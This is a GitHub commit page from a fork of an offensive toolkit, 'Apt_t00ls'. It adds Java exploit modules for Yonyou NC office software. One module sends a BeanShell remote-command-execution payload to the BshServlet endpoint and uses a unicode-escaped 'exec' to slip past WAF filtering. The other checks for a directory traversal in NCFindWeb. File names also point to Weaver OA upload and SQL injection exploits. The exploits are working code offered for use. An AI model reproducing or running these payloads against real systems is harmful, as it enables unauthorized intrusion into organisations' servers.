forked from White-hua/Apt_t00ls
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
White-hua
committed
Oct 5, 2022
1 parent
40e1db3
commit e55def0
Showing
25 changed files
with
243 additions
and
19 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,44 @@ | ||
package Exp.OA.yongyou; | ||
|
||
import Utilss.HttpTools; | ||
import Utilss.Response; | ||
import core.Exploitlnterface; | ||
import javafx.scene.control.TextArea; | ||
|
||
import java.util.HashMap; | ||
|
||
public class yongyou_nc_BshServlet implements Exploitlnterface { | ||
@Override | ||
public Boolean checkVul(String url, TextArea textArea) { | ||
Boolean att = att(url,textArea); | ||
return att; | ||
} | ||
|
||
@Override | ||
public Boolean getshell(String url, TextArea textArea) { | ||
textArea.appendText("\n 该漏洞已直接执行系统命令,无需getshell"); | ||
return false; | ||
} | ||
|
||
private Boolean att(String url,TextArea textArea){ | ||
Response response = HttpTools.get(url + "/servlet/~ic/bsh.servlet.BshServlet", new HashMap<String, String>(), "utf-8"); | ||
if(response.getCode() == 200 && response.getText().contains("BeanShell Test Servlet")){ | ||
textArea.appendText("\n 漏洞存在 开始测试payload"); | ||
|
||
Response post = HttpTools.post(url + "/servlet/~ic/bsh.servlet.BshServlet", "bsh.script=ex%5Cu0065c%28%22cmd+%2Fc+dir%22%29%3B" | ||
, new HashMap<String, String>(),"utf-8"); | ||
if(post.getCode() == 200 && post.getText().contains("BeanShell Test Servlet")){ | ||
textArea.appendText("\n ex\\u0065c(\"cmd /c dir\"); 可用"); | ||
textArea.appendText("\n " + url + "/servlet/~ic/bsh.servlet.BshServlet"); | ||
return true; | ||
}else { | ||
textArea.appendText("\n 漏洞存在 命令被waf拦截 请尝试手动绕过"); | ||
return true; | ||
} | ||
|
||
}else { | ||
textArea.appendText("\n e-cology BshServlet-RCE-漏洞不存在 (出现误报请联系作者)"); | ||
return false; | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
package Exp.OA.yongyou; | ||
|
||
import Utilss.HttpTools; | ||
import Utilss.Response; | ||
import core.Exploitlnterface; | ||
import javafx.scene.control.TextArea; | ||
|
||
import java.util.HashMap; | ||
|
||
public class yongyou_nc_NCFindWeb implements Exploitlnterface{ | ||
@Override | ||
public Boolean checkVul(String url, TextArea textArea) { | ||
Boolean att = att(url, textArea); | ||
return att; | ||
} | ||
|
||
@Override | ||
public Boolean getshell(String url, TextArea textArea) { | ||
textArea.appendText("\n 目录遍历漏洞无法getshell,可查看是否存在历史遗留webshell"); | ||
return false; | ||
} | ||
|
||
private Boolean att(String url,TextArea textArea){ | ||
Response response = HttpTools.get(url + "/NCFindWeb?service=IPreAlertConfigService&filename=", new HashMap<String, String>(), "utf-8"); | ||
if(response.getCode() == 200 && response.getText().contains("Client")){ | ||
textArea.appendText("\n 目录遍历漏洞存在" + "\n" + url + "/NCFindWeb?service=IPreAlertConfigService&filename="); | ||
return true; | ||
}else { | ||
textArea.appendText("\n NC_NCFindWeb-目录遍历E-漏洞不存在 (出现误报请联系作者)"); | ||
return false; | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,4 @@ | ||
import java.io.IOException; | ||
|
||
public class Test { | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file modified
BIN
+1 Byte
(100%)
target/classes/Exp/OA/weaveroa/weaveroa_eoffice10_OfficeServer.class
Binary file not shown.
Binary file modified
BIN
+2 Bytes
(100%)
target/classes/Exp/OA/weaveroa/weaveroa_mobile6_sqlli.class
Binary file not shown.
Binary file modified
BIN
-12 Bytes
(100%)
target/classes/Exp/OA/weaveroa/weaveroa_office_UploadFile.class
Binary file not shown.
Binary file modified
BIN
-10 Bytes
(100%)
target/classes/Exp/OA/weaveroa/weaveroa_workrelate_uploadOperation.class
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Oops, something went wrong.